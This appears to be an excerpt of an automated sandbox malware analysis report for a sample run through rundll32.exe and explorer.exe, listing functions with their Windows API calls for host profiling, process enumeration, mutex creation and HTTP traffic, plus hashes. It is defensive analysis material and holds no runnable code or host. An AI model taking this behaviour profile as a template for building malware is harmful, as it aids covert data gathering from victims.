Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ErrorLast$FreeLocal
String ID:
API String ID: 1627422176-0
Opcode ID: 0992fd39bbcecca185d899d48b70f7d57ffc834e00189db1b119eed07bf66011
Instruction ID: 9feadd7d2c80a50860be92826fe10d62ddf27b4a1d8a0aaf037cf40d2db3ad28
Opcode Fuzzy Hash: 0992fd39bbcecca185d899d48b70f7d57ffc834e00189db1b119eed07bf66011
Instruction Fuzzy Hash: E911B120F0E782AAFBD8AB22A45007A9291EF45FC5F540035ED5E477D2DF7CEC108A28

Function 00007FF8A8DB9310 Relevance: 5.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8A8DB9369
HeapFree.KERNEL32 ref: 00007FF8A8DB9378
GetProcessHeap.KERNEL32 ref: 00007FF8A8DB93A3
HeapFree.KERNEL32 ref: 00007FF8A8DB93B2

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 2ee89589a5936ae31a689f7afc696f9c551bd5c68191e7446015a43d757db286
Instruction ID: cef74b87ca059d46a7ae97ed0c2f076cd9e916111a8c1aee72154f2e1a591406
Opcode Fuzzy Hash: 2ee89589a5936ae31a689f7afc696f9c551bd5c68191e7446015a43d757db286
Instruction Fuzzy Hash: C1114232A0578196DB148B76D85416DB361FF8ABF1F188235DA6E037E5EF7CD0158704

Function 00007FF8A8DB9860 Relevance: 5.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF8A8D3352D), ref: 00007FF8A8DB98AB
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF8A8D3352D), ref: 00007FF8A8DB98BA
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF8A8D3352D), ref: 00007FF8A8DB98E7
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF8A8D3352D), ref: 00007FF8A8DB98F6

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: b6a1841932a90bcf3e84ed0c1c01948b9f25d7b071fcb00ce4f8261a13364298
Instruction ID: b70ee4f4f36f71a4f7bccf61a4d5632cdf5b1accc238a70cc193412edab06978
Opcode Fuzzy Hash: b6a1841932a90bcf3e84ed0c1c01948b9f25d7b071fcb00ce4f8261a13364298
Instruction Fuzzy Hash: 38119435E06741A6DB048B3594842396761EF8ABF1F189635DA7E033E4FF3CD5469218

Analysis Process: rundll32.exePID: 412, Parent PID: 4836COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1294
Total number of Limit Nodes:	50

Executed Functions

Function 0000027619644D00 Relevance: 10.8, APIs: 7, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32 ref: 0000027619644D92
GetComputerNameExW.KERNEL32 ref: 0000027619644DA7
GetComputerNameExW.KERNEL32 ref: 0000027619644DD6
GetTokenInformation.KERNELBASE ref: 0000027619644E12
GetNativeSystemInfo.KERNEL32 ref: 0000027619644EC4
GetAdaptersInfo.IPHLPAPI ref: 0000027619644FB0
GetAdaptersInfo.IPHLPAPI ref: 0000027619644FF5

Memory Dump Source

Source File: 00000004.00000002.4537344624.0000027619621000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000027619621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27619621000_rundll32.jbxd

Similarity

API ID: InfoName$AdaptersComputer$InformationNativeSystemTokenUser
String ID:
API String ID: 1596153048-0
Opcode ID: 0a5131bd6414b1282a0f66d752e02dd7b2870491c20533042b7ec16988b63654
Instruction ID: fc6de5b0a4b9f929ec2e02aaa9f65fb1ffd1ede883d057874adf6f2846d3f2c9
Opcode Fuzzy Hash: 0a5131bd6414b1282a0f66d752e02dd7b2870491c20533042b7ec16988b63654
Instruction Fuzzy Hash: 47A1D33021CF888BFB54AB54D86E7DAB3E1FB94740F804529A84ED3392DA74D945CBD2

Function 00007DF4051C0100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

@, xrefs: 00007DF4051C0237

Memory Dump Source

Source File: 00000004.00000003.2422249435.00007DF4051C0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_7df4051c0000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: @
API String ID: 3332741929-2766056989
Opcode ID: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction ID: fead47ab9d65bdae9bed47f4f8db019143a3840a82c3428f943998f4b283dea3
Opcode Fuzzy Hash: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction Fuzzy Hash: 0C71CF31614A4C8FEB94EF5CC858BAD77F1FB98315F104226E81ED72A0DB749954CB80

Function 0000027619621600 Relevance: 1.7, APIs: 1, Instructions: 169
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 0000027619621794

Memory Dump Source

Source File: 00000004.00000002.4537344624.0000027619621000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000027619621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27619621000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: c7cfbd4c28cfd34a067c4dec962a0dff76d3cfd4b019f48227f7b9b53671fbdc
Instruction ID: 08cf26aaf3ffd475687a30ed649e88e22e4444696bc88a3495641704f5194b68
Opcode Fuzzy Hash: c7cfbd4c28cfd34a067c4dec962a0dff76d3cfd4b019f48227f7b9b53671fbdc
Instruction Fuzzy Hash: CE51D37410CA488FF748EF28D85D7B977E1FB96311F500259E49ED32A2CA38E802CB95

Function 00000276197BD2B6 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2085178230.0000027619780000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000027619780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_27619780000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
Instruction ID: 84887cc101af63f21472ff77c1b48dcdc3a013849f0ae69c618340443e559901
Opcode Fuzzy Hash: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
Instruction Fuzzy Hash: F6F081B0618B408BE7549F1884C967577E1FB98755F64452EE88A87361CB319842CB43

Function 00000276197BD326 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2085178230.0000027619780000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000027619780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_27619780000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction ID: e3303e5ee617160796ebabb4e0090f83c55a9886ee24f68c5a044d4337b42e1d
Opcode Fuzzy Hash: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction Fuzzy Hash: 3AF05470A28F444BD744AF2C884E63577E1FBA8645F54452EA84DD7361DB35E4428B43

Function 0000027619627830 Relevance: 9.3, APIs: 6, Instructions: 340
networkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 000002761962788A
InternetConnectW.WININET ref: 00000276196278CB
HttpSendRequestA.WININET ref: 00000276196279DA
InternetQueryDataAvailable.WININET ref: 0000027619627A53
RtlReAllocateHeap.NTDLL ref: 0000027619627AA4

Part of subcall function 000002761964B4E0: RtlFreeHeap.NTDLL ref: 000002761964B51D

InternetCloseHandle.WININET ref: 0000027619627B11

Memory Dump Source

Source File: 00000004.00000002.4537344624.0000027619621000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000027619621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27619621000_rundll32.jbxd

Similarity

API ID: Internet$Heap$AllocateAvailableCloseConnectDataFreeHandleHttpOpenQueryRequestSend
String ID:
API String ID: 2835091696-0
Opcode ID: b511c7863b3ab9a59219a4b3e63d03ff5358a22e987fa0d3a10f99e9fec2f975
Instruction ID: 0f1ed005750c748dbc9d23cfe8e8163e65e43a26c0587a977b48f03841931230
Opcode Fuzzy Hash: b511c7863b3ab9a59219a4b3e63d03ff5358a22e987fa0d3a10f99e9fec2f975
Instruction Fuzzy Hash: 37B18F3021CF488BF754DF28D85DBAAB7D5FB98340F840569A84ED3295DB78E84187D2

Function 00007DF4051C0000 Relevance: 6.1, APIs: 4, Instructions: 88processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007DF4051C0052
Process32First.KERNEL32 ref: 00007DF4051C008B
CloseHandle.KERNEL32 ref: 00007DF4051C00C1

Memory Dump Source

Source File: 00000004.00000003.2422249435.00007DF4051C0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_7df4051c0000_rundll32.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction ID: af99fb76aaf4e5721d71b51a7dd243436e203d07f8fec3dc3f2df2350f77f626
Opcode Fuzzy Hash: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction Fuzzy Hash: 1221CB3061494C8FEBA1EB5CCC58BEE37F1FBA8310F404226D81EDB294EE35AA548750

Function 0000027619628ED0 Relevance: 1.9, APIs: 1, Instructions: 410
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNEL32 ref: 0000027619628F00

Memory Dump Source

Source File: 00000004.00000002.4537344624.0000027619621000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000027619621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27619621000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction ID: a7e0b9079de08a95b49619071a62cc12b65e588fa82c2ecefcbe085ecc7218d2
Opcode Fuzzy Hash: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction Fuzzy Hash: 73E11071408B4D8FE751EF14E899BA6B7F4F768340F60067BE84EC2261DB389245CB86

Function 000002761962CCE0 Relevance: 1.6, APIs: 1, Instructions: 114
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrGetProcedureAddress.NTDLL ref: 000002761962CDB2

Memory Dump Source

Source File: 00000004.00000002.4537344624.0000027619621000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000027619621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27619621000_rundll32.jbxd

Similarity

API ID: AddressProcedure
String ID:
API String ID: 3653107232-0
Opcode ID: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction ID: b47bf944f9c2fc0dd592b549e4c4f9870292d50b392e239e642c9d8d976641f2
Opcode Fuzzy Hash: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction Fuzzy Hash: BF31B23151CB484BE764AB58DC4E7BAB7E0FB85310F90066EE58EC3352D630A98687D7

Function 000002761964B4E0 Relevance: 1.5, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 000002761964B51D

Memory Dump Source

Source File: 00000004.00000002.4537344624.0000027619621000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000027619621000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27619621000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction ID: 36e3705b53a2d51f62ba3b1d0ab3bbc7a3e1b552114c7753f11056e38f7bdf1f
Opcode Fuzzy Hash: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction Fuzzy Hash: A4F01C30314E088BFB58EBBAECDD76577E2FB9C341B848054A409C7294DB389841CB52

Function 00000276197BCA56 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2085178230.0000027619780000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000027619780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_27619780000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6258ad962565a3180bb006997aefc3c2d41d9dd5a2811c72a17a211375779bb6
Instruction ID: 5c289638610935c11f324b0bc5c22f25e195e3caa83ef2dd990b29922300cc8f
Opcode Fuzzy Hash: 6258ad962565a3180bb006997aefc3c2d41d9dd5a2811c72a17a211375779bb6
Instruction Fuzzy Hash: 0201F421A1DF5A0BE799E66D68CD7A276E2FBD8310F9CC0A5E80EC7386D824C9414380

Analysis Process: rundll32.exePID: 6564, Parent PID: 3032COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	961
Total number of Limit Nodes:	8

Executed Functions

Function 000002339FBA4D00 Relevance: 10.8, APIs: 7, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32 ref: 000002339FBA4D92
GetComputerNameExW.KERNEL32 ref: 000002339FBA4DA7
GetComputerNameExW.KERNEL32 ref: 000002339FBA4DD6
GetTokenInformation.KERNELBASE ref: 000002339FBA4E12
GetNativeSystemInfo.KERNEL32 ref: 000002339FBA4EC4
GetAdaptersInfo.IPHLPAPI ref: 000002339FBA4FB0
GetAdaptersInfo.IPHLPAPI ref: 000002339FBA4FF5

Memory Dump Source

Source File: 00000006.00000002.4536747613.000002339FB81000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002339FB81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2339fb81000_rundll32.jbxd

Similarity

API ID: InfoName$AdaptersComputer$InformationNativeSystemTokenUser
String ID:
API String ID: 1596153048-0
Opcode ID: b4a5e0236bac0c4c2e8552285ec6fab632a05024464198d8cdfc8c48a7dd2179
Instruction ID: 5686da3bbe50c0b29a819bdb88573a0bd57d5cd192e2c82d144cad94f06c9752
Opcode Fuzzy Hash: b4a5e0236bac0c4c2e8552285ec6fab632a05024464198d8cdfc8c48a7dd2179
Instruction Fuzzy Hash: 36A19230218B48CFFB54EF14D85A7DAB7E5FB94301F50452EA84AC3291DAB9DB45CB82

Function 00007DF445320100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

@, xrefs: 00007DF445320237

Memory Dump Source

Source File: 00000006.00000003.2517442230.00007DF445320000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF445320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_7df445320000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: @
API String ID: 3332741929-2766056989
Opcode ID: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction ID: 6af411fc291a859c575e757d401ec96882a704049941a2073ec1cebc37dc1e54
Opcode Fuzzy Hash: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction Fuzzy Hash: BF71D031614A4C8FEF94EF5CD898BA977E1FB98315F104226E81ED72A0DB74D954CB80

Function 000002339FB81600 Relevance: 1.7, APIs: 1, Instructions: 169
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 000002339FB81794

Memory Dump Source

Source File: 00000006.00000002.4536747613.000002339FB81000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002339FB81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2339fb81000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 7ef7c9c0f28628f573ade4330c203e0d9ad1a1cad18026d23a2ad19552d955a8
Instruction ID: 3d167acb752390c9311dc40ce49afa8c9b436bdfca28fefc055fb0de9ff0dc53
Opcode Fuzzy Hash: 7ef7c9c0f28628f573ade4330c203e0d9ad1a1cad18026d23a2ad19552d955a8
Instruction Fuzzy Hash: 7851E374118A088FE758EF28DC597B577E1FB96312F10025DE49BC32A2CE78EA42CB45

Function 000002339FC7D2B6 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2115172916.000002339FC40000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002339FC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2339fc40000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
Instruction ID: 4b6e30d524ef097b1fd82270a431a7be9e48cc02120947754686f15316bb971e
Opcode Fuzzy Hash: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
Instruction Fuzzy Hash: F6F0A4B0618B408BE744DF1C84C963577E1FBD8756F24852EE889C7361CB359942CB43

Function 000002339FC7D326 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2115172916.000002339FC40000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002339FC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2339fc40000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction ID: 566e1706118471ac357f8440e9d46c70c4c2025ce62271709aae350d634195c9
Opcode Fuzzy Hash: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction Fuzzy Hash: 75F05470A24F448BD704EF2C884A67577E1F7E8646F54462EA448D7361DB35E6428B43

Function 000002339FB87830 Relevance: 10.8, APIs: 7, Instructions: 340
networkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 000002339FB8788A
InternetConnectW.WININET ref: 000002339FB878CB
HttpOpenRequestW.WININET ref: 000002339FB8791F
HttpSendRequestA.WININET ref: 000002339FB879DA
InternetQueryDataAvailable.WININET ref: 000002339FB87A53
RtlReAllocateHeap.NTDLL ref: 000002339FB87AA4

Part of subcall function 000002339FBAB4E0: RtlFreeHeap.NTDLL ref: 000002339FBAB51D

InternetCloseHandle.WININET ref: 000002339FB87B11

Memory Dump Source

Source File: 00000006.00000002.4536747613.000002339FB81000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002339FB81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2339fb81000_rundll32.jbxd

Similarity

API ID: Internet$HeapHttpOpenRequest$AllocateAvailableCloseConnectDataFreeHandleQuerySend
String ID:
API String ID: 3737532752-0
Opcode ID: 94ca3a7f2240a7e3a39715367db890fc47f045d7b6bd3e5cd3a95549bb2bf3ea
Instruction ID: 56d77109cfa42ad4299829747ebd29ed522ba65d7a54e5d4a49ef8b2e88c2af7
Opcode Fuzzy Hash: 94ca3a7f2240a7e3a39715367db890fc47f045d7b6bd3e5cd3a95549bb2bf3ea
Instruction Fuzzy Hash: 08B1E231218B09CFF754EF18D8597AAB7D5FBD8305F140569A85AC3291DFB8DB018782

Function 00007DF445320000 Relevance: 6.1, APIs: 4, Instructions: 88processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007DF445320052
Process32First.KERNEL32 ref: 00007DF44532008B
CloseHandle.KERNEL32 ref: 00007DF4453200C1

Memory Dump Source

Source File: 00000006.00000003.2517442230.00007DF445320000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF445320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_7df445320000_rundll32.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction ID: 7a1a0ad789c40a59363c6cf998765d52a08cb1f386e6b98b8b0ef089eff72f19
Opcode Fuzzy Hash: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction Fuzzy Hash: AD21DC3061494C8FEFA1EB5CDC58BEA73E1FBA8310F404226D41EDB290EE75EA488750

Function 000002339FB88ED0 Relevance: 1.9, APIs: 1, Instructions: 410
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNEL32 ref: 000002339FB88F00

Memory Dump Source

Source File: 00000006.00000002.4536747613.000002339FB81000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002339FB81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2339fb81000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction ID: 69a516602728c87cc69faaf9f3a88097f1f0e6dd8417b54b493207a83ddbc8d1
Opcode Fuzzy Hash: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction Fuzzy Hash: 9FE12E71508A0D8FE751EF14E895BE6BBF4F768341F20067BE84AC2261DB789345CB86

Function 000002339FB8CCE0 Relevance: 1.6, APIs: 1, Instructions: 114
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrGetProcedureAddress.NTDLL ref: 000002339FB8CDB2

Memory Dump Source

Source File: 00000006.00000002.4536747613.000002339FB81000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002339FB81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2339fb81000_rundll32.jbxd

Similarity

API ID: AddressProcedure
String ID:
API String ID: 3653107232-0
Opcode ID: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction ID: 4703a2ce0ae6403762beec4f616ebeeb18ffe6c2df797e6e923df6f6813fe596
Opcode Fuzzy Hash: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction Fuzzy Hash: CF31B7B1218B088BD764EF08DC4A7BAB7E4FB85311F50061EE586C3252D674AB4687C7

Function 000002339FBAB4E0 Relevance: 1.5, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 000002339FBAB51D

Memory Dump Source

Source File: 00000006.00000002.4536747613.000002339FB81000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002339FB81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2339fb81000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction ID: 6c1224a92e8209fb0e348f59a355400563e7404071c08fef3c5e76153ec7c8dd
Opcode Fuzzy Hash: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction Fuzzy Hash: 20F01C30310A08CBFB58EBBAECD976137E2FB9C342B448155A415C61A5EB78DA51C701

Function 000002339FC7CA56 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2115172916.000002339FC40000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002339FC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2339fc40000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6258ad962565a3180bb006997aefc3c2d41d9dd5a2811c72a17a211375779bb6
Instruction ID: 1d20976c0cc6972192811cf73650fb138559e5b157f36d0304009d22a25d3e71
Opcode Fuzzy Hash: 6258ad962565a3180bb006997aefc3c2d41d9dd5a2811c72a17a211375779bb6
Instruction Fuzzy Hash: 0C012D31219B1B4BE7D9E76D78C47A276C2F7D4313F588055DC08C7285D868CB414744

Analysis Process: explorer.exePID: 1028, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	52%
Signature Coverage:	5.1%
Total number of Nodes:	1156
Total number of Limit Nodes:	42

Executed Functions

Function 0E454B50 Relevance: 177.4, APIs: 16, Strings: 85, Instructions: 645
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0E454948: CreateToolhelp32Snapshot.KERNEL32 ref: 0E454969
Part of subcall function 0E454948: Process32First.KERNEL32 ref: 0E45498C
Part of subcall function 0E454948: GetCurrentProcessId.KERNEL32 ref: 0E45499A
Part of subcall function 0E454948: Process32Next.KERNEL32 ref: 0E454A58
Part of subcall function 0E454948: CloseHandle.KERNEL32 ref: 0E454A69

Part of subcall function 0E456E2C: GetProcessHeap.KERNEL32 ref: 0E456E30
Part of subcall function 0E456E2C: HeapAlloc.KERNEL32 ref: 0E456E42

Part of subcall function 0E458848: RegOpenKeyExA.ADVAPI32 ref: 0E45887F
Part of subcall function 0E458848: CoInitialize.OLE32 ref: 0E458891
